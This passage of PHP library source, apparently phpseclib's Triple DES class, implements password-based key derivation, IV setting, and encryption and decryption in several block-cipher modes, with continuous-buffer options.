3DES-inline-en/decrypting if ($this->use_inline_crypt && $this->mode != CRYPT_DES_MODE_3CBC) { $this->keys = array( CRYPT_DES_ENCRYPT_1DIM => array_merge( $this->des[0]->keys[CRYPT_DES_ENCRYPT_1DIM], $this->des[1]->keys[CRYPT_DES_DECRYPT_1DIM], $this->des[2]->keys[CRYPT_DES_ENCRYPT_1DIM] ), CRYPT_DES_DECRYPT_1DIM => array_merge( $this->des[2]->keys[CRYPT_DES_DECRYPT_1DIM], $this->des[1]->keys[CRYPT_DES_ENCRYPT_1DIM], $this->des[0]->keys[CRYPT_DES_DECRYPT_1DIM] ), ); } } $this->enchanged = $this->dechanged = true; } /** * Sets the password. * * Depending on what $method is set to, setPassword()'s (optional) parameters are as follows: * {@link http://en.wikipedia.org/wiki/PBKDF2 pbkdf2}: * $hash, $salt, $method * * @param String $password * @param optional String $method * @access public */ function setPassword($password, $method = 'pbkdf2') { $key = ''; switch ($method) { default: // 'pbkdf2' list(, , $hash, $salt, $count) = func_get_args(); if (!isset($hash)) { $hash = 'sha1'; } // WPA and WPA2 use the SSID as the salt if (!isset($salt)) { $salt = 'phpseclib'; } // RFC2898#section-4.2 uses 1,000 iterations by default // WPA and WPA2 use 4,096. if (!isset($count)) { $count = 1000; } if (!class_exists('Crypt_Hash')) { require_once('Crypt/Hash.php'); } $i = 1; while (strlen($key) < 24) { // $dkLen == 24 $hmac = new Crypt_Hash(); $hmac->setHash($hash); $hmac->setKey($password); $f = $u = $hmac->hash($salt . pack('N', $i++)); for ($j = 2; $j <= $count; $j++) { $u = $hmac->hash($u); $f^= $u; } $key.= $f; } } $this->setKey($key); } /** * Sets the initialization vector. (optional) * * SetIV is not required when CRYPT_DES_MODE_ECB is being used. If not explictly set, it'll be assumed * to be all zero's. * * @access public * @param String $iv */ function setIV($iv) { $this->encryptIV = $this->decryptIV = $this->iv = str_pad(substr($iv, 0, 8), 8, chr(0)); if ($this->mode == CRYPT_DES_MODE_3CBC) { $this->des[0]->setIV($iv); $this->des[1]->setIV($iv); $this->des[2]->setIV($iv); } $this->enchanged = $this->dechanged = true; } /** * Encrypts a message. * * @access public * @param String $plaintext */ function encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } // if the key is smaller then 8, do what we'd normally do if ($this->mode == CRYPT_DES_MODE_3CBC && strlen($this->key) > 8) { $ciphertext = $this->des[2]->encrypt($this->des[1]->decrypt($this->des[0]->encrypt($plaintext))); return $ciphertext; } if ( CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT ) { if ($this->enchanged) { mcrypt_generic_init($this->enmcrypt, $this->key, $this->encryptIV); if ($this->mode == 'ncfb') { mcrypt_generic_init($this->ecb, $this->key, "\0\0\0\0\0\0\0\0"); } $this->enchanged = false; } if ($this->mode != 'ncfb' || !$this->continuousBuffer) { $ciphertext = mcrypt_generic($this->enmcrypt, $plaintext); } else { $iv = &$this->encryptIV; $pos = &$this->enbuffer['pos']; $len = strlen($plaintext); $ciphertext = ''; $i = 0; if ($pos) { $orig_pos = $pos; $max = 8 - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); $this->enbuffer['enmcrypt_init'] = true; } if ($len >= 8) { if ($this->enbuffer['enmcrypt_init'] === false || $len > 950) { if ($this->enbuffer['enmcrypt_init'] === true) { mcrypt_generic_init($this->enmcrypt, $this->key, $iv); $this->enbuffer['enmcrypt_init'] = false; } $ciphertext.= mcrypt_generic($this->enmcrypt, substr($plaintext, $i, $len - $len % 8)); $iv = substr($ciphertext, -8); $i = strlen($ciphertext); $len%= 8; } else { while ($len >= 8) { $iv = mcrypt_generic($this->ecb, $iv) ^ substr($plaintext, $i, 8); $ciphertext.= $iv; $len-= 8; $i+= 8; } } } if ($len) { $iv = mcrypt_generic($this->ecb, $iv); $block = $iv ^ substr($plaintext, $i); $iv = substr_replace($iv, $block, 0, $len); $ciphertext.= $block; $pos = $len; } return $ciphertext; } if (!$this->continuousBuffer) { mcrypt_generic_init($this->enmcrypt, $this->key, $this->encryptIV); } return $ciphertext; } if (strlen($this->key) <= 8) { $this->des[0]->mode = $this->mode; return $this->des[0]->encrypt($plaintext); } if ($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('encrypt', $this, $plaintext); } $des = $this->des; $buffer = &$this->enbuffer; $continuousBuffer = $this->continuousBuffer; $ciphertext = ''; switch ($this->mode) { case CRYPT_DES_MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+=8) { $block = substr($plaintext, $i, 8); // all of these _processBlock calls could, in theory, be put in a function - say Crypt_TripleDES::_ede_encrypt() or something. // only problem with that: it would slow encryption and decryption down. $this->des would have to be called every time that // function is called, instead of once for the whole string of text that's being encrypted, which would, in turn, make // encryption and decryption take more time, per this: // // http://blog.libssh2.org/index.php?/archives/21-Compiled-Variables.html $block = $des[0]->_processBlock($block, CRYPT_DES_ENCRYPT); $block = $des[1]->_processBlock($block, CRYPT_DES_DECRYPT); $block = $des[2]->_processBlock($block, CRYPT_DES_ENCRYPT); $ciphertext.= $block; } break; case CRYPT_DES_MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+=8) { $block = substr($plaintext, $i, 8) ^ $xor; $block = $des[0]->_processBlock($block, CRYPT_DES_ENCRYPT); $block = $des[1]->_processBlock($block, CRYPT_DES_DECRYPT); $block = $des[2]->_processBlock($block, CRYPT_DES_ENCRYPT); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) { $this->encryptIV = $xor; } break; case CRYPT_DES_MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer['encrypted'])) { for ($i = 0; $i < strlen($plaintext); $i+=8) { $block = substr($plaintext, $i, 8); if (strlen($block) > strlen($buffer['encrypted'])) { $key = $this->_generate_xor($xor); $key = $des[0]->_processBlock($key, CRYPT_DES_ENCRYPT); $key = $des[1]->_processBlock($key, CRYPT_DES_DECRYPT); $key = $des[2]->_processBlock($key, CRYPT_DES_ENCRYPT); $buffer['encrypted'].= $key; } $key = $this->_string_shift($buffer['encrypted']); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=8) { $block = substr($plaintext, $i, 8); $key = $this->_generate_xor($xor); $key = $des[0]->_processBlock($key, CRYPT_DES_ENCRYPT); $key = $des[1]->_processBlock($key, CRYPT_DES_DECRYPT); $key = $des[2]->_processBlock($key, CRYPT_DES_ENCRYPT); $ciphertext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) & 7) { $buffer['encrypted'] = substr($key, $start) . $buffer['encrypted']; } } break; case CRYPT_DES_MODE_CFB: if (strlen($buffer['xor'])) { $ciphertext = $plaintext ^ $buffer['xor']; $iv = $buffer['encrypted'] . $ciphertext; $start = strlen($ciphertext); $buffer['encrypted'].= $ciphertext; $buffer['xor'] = substr($buffer['xor'], strlen($ciphertext)); } else { $ciphertext = ''; $iv = $this->encryptIV; $start = 0; } for ($i = $start; $i < strlen($plaintext); $i+=8) { $block = substr($plaintext, $i, 8); $iv = $des[0]->_processBlock($iv, CRYPT_DES_ENCRYPT); $iv = $des[1]->_processBlock($iv, CRYPT_DES_DECRYPT); $xor= $des[2]->_processBlock($iv, CRYPT_DES_ENCRYPT); $iv = $block ^ $xor; if ($continuousBuffer && strlen($iv) != 8) { $buffer = array( 'encrypted' => $iv, 'xor' => substr($xor, strlen($iv)) ); } $ciphertext.= $iv; } if ($this->continuousBuffer) { $this->encryptIV = $iv; } break; case CRYPT_DES_MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($plaintext); $i+=8) { $block = substr($plaintext, $i, 8); if (strlen($block) > strlen($buffer['xor'])) { $xor = $des[0]->_processBlock($xor, CRYPT_DES_ENCRYPT); $xor = $des[1]->_processBlock($xor, CRYPT_DES_DECRYPT); $xor = $des[2]->_processBlock($xor, CRYPT_DES_ENCRYPT); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor']); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=8) { $xor = $des[0]->_processBlock($xor, CRYPT_DES_ENCRYPT); $xor = $des[1]->_processBlock($xor, CRYPT_DES_DECRYPT); $xor = $des[2]->_processBlock($xor, CRYPT_DES_ENCRYPT); $ciphertext.= substr($plaintext, $i, 8) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) & 7) { $buffer['xor'] = substr($key, $start) . $buffer['xor']; } } } return $ciphertext; } /** * Decrypts a message. * * @access public * @param String $ciphertext */ function decrypt($ciphertext) { if ($this->mode == CRYPT_DES_MODE_3CBC && strlen($this->key) > 8) { $plaintext = $this->des[0]->decrypt($this->des[1]->encrypt($this->des[2]->decrypt($ciphertext))); return $this->_unpad($plaintext); } if ($this->paddable) { // we pad with chr(0) since that's what mcrypt_generic does. to quote from http://php.net/function.mcrypt-generic : // "The data is padded with "\0" to make sure the length of the data is n * blocksize." $ciphertext = str_pad($ciphertext, (strlen($ciphertext) + 7) & 0xFFFFFFF8, chr(0)); } if ( CRYPT_DES_MODE == CRYPT_DES_MODE_MCRYPT ) { if ($this->dechanged) { mcrypt_generic_init($this->demcrypt, $this->key, $this->decryptIV); if ($this->mode == 'ncfb') { mcrypt_generic_init($this->ecb, $this->key, "\0\0\0\0\0\0\0\0"); } $this->dechanged = false; } if ($this->mode != 'ncfb' || !$this->continuousBuffer) { $plaintext = mdecrypt_generic($this->demcrypt, $ciphertext); } else { $iv = &$this->decryptIV; $pos = &$this->debuffer['pos']; $len = strlen($ciphertext); $plaintext = ''; $i = 0; if ($pos) { $orig_pos = $pos; $max = 8 - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i = $len; $pos+= $len; $len = 0; } $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); } if ($len >= 8) { $cb = substr($ciphertext, $i, $len - $len % 8); $plaintext.= mcrypt_generic($this->ecb, $iv . $cb) ^ $cb; $iv = substr($cb, -8); $len%= 8; } if ($len) { $iv = mcrypt_generic($this->ecb, $iv); $cb = substr($ciphertext, -$len); $plaintext.= $iv ^ $cb; $iv = substr_replace($iv, $cb, 0, $len); $pos = $len; } return $plaintext; } if (!$this->continuousBuffer) { mcrypt_generic_init($this->demcrypt, $this->key, $this->decryptIV); } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } if (strlen($this->key) <= 8) { $this->des[0]->mode = $this->mode; $plaintext = $this->des[0]->decrypt($ciphertext); return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } if ($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('decrypt', $this, $ciphertext); } $des = $this->des; $buffer = &$this->debuffer; $continuousBuffer = $this->continuousBuffer; $plaintext = ''; switch ($this->mode) { case CRYPT_DES_MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+=8) { $block = substr($ciphertext, $i, 8); $block = $des[2]->_processBlock($block, CRYPT_DES_DECRYPT); $block = $des[1]->_processBlock($block, CRYPT_DES_ENCRYPT); $block = $des[0]->_processBlock($block, CRYPT_DES_DECRYPT); $plaintext.= $block; } break; case CRYPT_DES_MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+=8) { $orig = $block = substr($ciphertext, $i, 8); $block = $des[2]->_processBlock($block, CRYPT_DES_DECRYPT); $block = $des[1]->_processBlock($block, CRYPT_DES_ENCRYPT); $block = $des[0]->_processBlock($block, CRYPT_DES_DECRYPT); $plaintext.= $block ^ $xor; $xor = $orig; } if ($this->continuousBuffer) { $this->decryptIV = $xor; } break; case CRYPT_DES_MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($ciphertext); $i+=8) { $block = substr($ciphertext, $i, 8); if (strlen($block) > strlen($buffer['ciphertext'])) { $key = $this->_generate_xor($xor); $key = $des[0]->_processBlock($key, CRYPT_DES_ENCRYPT); $key = $des[1]->_processBlock($key, CRYPT_DES_DECRYPT); $key = $des[2]->_processBlock($key, CRYPT_DES_ENCRYPT); $buffer['ciphertext'].= $key; } $key = $this->_string_shift($buffer['ciphertext']); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=8) { $block = substr($ciphertext, $i, 8); $key = $this->_generate_xor($xor); $key = $des[0]->_processBlock($key, CRYPT_DES_ENCRYPT); $key = $des[1]->_processBlock($key, CRYPT_DES_DECRYPT); $key = $des[2]->_processBlock($key, CRYPT_DES_ENCRYPT); $plaintext.= $block ^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($plaintext) & 7) { $buffer['ciphertext'] = substr($key, $start) . $buffer['ciphertext']; } } break; case CRYPT_DES_MODE_CFB: if (strlen($buffer['ciphertext'])) { $plaintext = $ciphertext ^ substr($this->decryptIV, strlen($buffer['ciphertext'])); $buffer['ciphertext'].= substr($ciphertext, 0, strlen($plaintext)); if (strlen($buffer['ciphertext']) != 8) { $block = $this->decryptIV; } else { $block = $buffer['ciphertext']; $xor = $des[0]->_processBlock($buffer['ciphertext'], CRYPT_DES_ENCRYPT); $xor = $des[1]->_processBlock($xor, CRYPT_DES_DECRYPT); $xor = $des[2]->_processBlock($xor, CRYPT_DES_ENCRYPT); $buffer['ciphertext'] = ''; } $start = strlen($plaintext); } else { $plaintext = ''; $xor = $des[0]->_processBlock($this->decryptIV, CRYPT_DES_ENCRYPT); $xor = $des[1]->_processBlock($xor, CRYPT_DES_DECRYPT); $xor = $des[2]->_processBlock($xor, CRYPT_DES_ENCRYPT); $start = 0; } for ($i = $start; $i < strlen($ciphertext); $i+=8) { $block = substr($ciphertext, $i, 8); $plaintext.= $block ^ $xor; if ($continuousBuffer && strlen($block) != 8) { $buffer['ciphertext'].= $block; $block = $xor; } else if (strlen($block) == 8) { $xor = $des[0]->_processBlock($block, CRYPT_DES_ENCRYPT); $xor = $des[1]->_processBlock($xor, CRYPT_DES_DECRYPT); $xor = $des[2]->_processBlock($xor, CRYPT_DES_ENCRYPT); } } if ($this->continuousBuffer) { $this->decryptIV = $block; } break; case CRYPT_DES_MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($ciphertext); $i+=8) { $block = substr($ciphertext, $i, 8); if (strlen($block) > strlen($buffer['xor'])) { $xor = $des[0]->_processBlock($xor, CRYPT_DES_ENCRYPT); $xor = $des[1]->_processBlock($xor, CRYPT_DES_DECRYPT); $xor = $des[2]->_processBlock($xor, CRYPT_DES_ENCRYPT); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor']); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=8) { $xor = $des[0]->_processBlock($xor, CRYPT_DES_ENCRYPT); $xor = $des[1]->_processBlock($xor, CRYPT_DES_DECRYPT); $xor = $des[2]->_processBlock($xor, CRYPT_DES_ENCRYPT); $plaintext.= substr($ciphertext, $i, 8) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) & 7) { $buffer['xor'] = substr($key, $start) . $buffer['xor']; } } } return $this->paddable ? $this->_unpad($plaintext) : $plaintext; } /** * Treat consecutive "packets" as if they are a continuous buffer. * * Say you have a 16-byte plaintext $plaintext. Using the default behavior, the two following code snippets * will yield different outputs: * * <code> * echo $des->encrypt(substr($plaintext, 0, 8)); * echo $des->encrypt(substr($plaintext, 8, 8)); * </code> * <code> * echo $des->encrypt($plaintext); * </code> * * The solution is to enable the continuous buffer. Although this will resolve the above discrepancy, it creates * another, as demonstrated with the following: * * <code> * $des->encrypt(substr($plaintext, 0, 8)); * echo $des->decrypt($des->encrypt(substr($plaintext, 8, 8))); * </code> * <code> * echo $des->decrypt($des->encrypt(substr($plaintext, 8, 8))); * </code> * * With the continuous buffer disabled, these would yield the same output. With it enabled, they yield different * outputs. The reason is due to the fact that the initialization vector's change after every encryption / * decryption round when the continuous buffer is enabled. When it's disabled, they remain constant. * * Put another way, when the continuous buffer is enabled, the state of the Crypt_DES() object changes after each * encryption / decryption round, whereas otherwise, it'd remain constant. For this reason, it's recommended that * continuous buffers not be used. They do offer better security and are, in fact, sometimes required (SSH uses them), * however, they are also less intuitive and more likely to cause you problems. * * @see Crypt_TripleDES::disableContinuousBuffer() * @access public */ function enableContinuousBuffer() { $this->continuousBuffer = true; if ($this->mode == CRYPT_DES_MODE_3CBC) { $this->des[0]->enableContinuousBuffer(); $this->des[1]->enableContinuousBuffer(); $this->des[2]->enableContinuousBuffer(); } } /** * Treat consecutive packets as if they are a discontinuous buffer. * * The default behavior. * * @see Crypt_TripleDES::enableContinuousBuffer() * @access public */ function disableContinuousBuffer() { $this->continuousBuffer = false; $this->encryptIV = $this->iv; $this->decryptIV = $this->iv; $this->enchanged = true; $this->dechanged = true; $this->enbuffer = array('encrypted' => '', 'xor' => '', 'pos' => 0, 'enmcrypt_init' => true); $this->debuffer = array('ciphertext' => '', 'xor' => '', 'pos' => 0, 'demcrypt_init' => true); if ($this->mode == CRYPT_DES_MODE_3CBC) { $this->des[0]->disableContinuousBuffer(); $this->des[1]->disableContinuousBuffer(); $this->des[2]->disableContinuousBuffer(); } } } // vim: ts=4:sw=4:et: // vim6: fdl=1: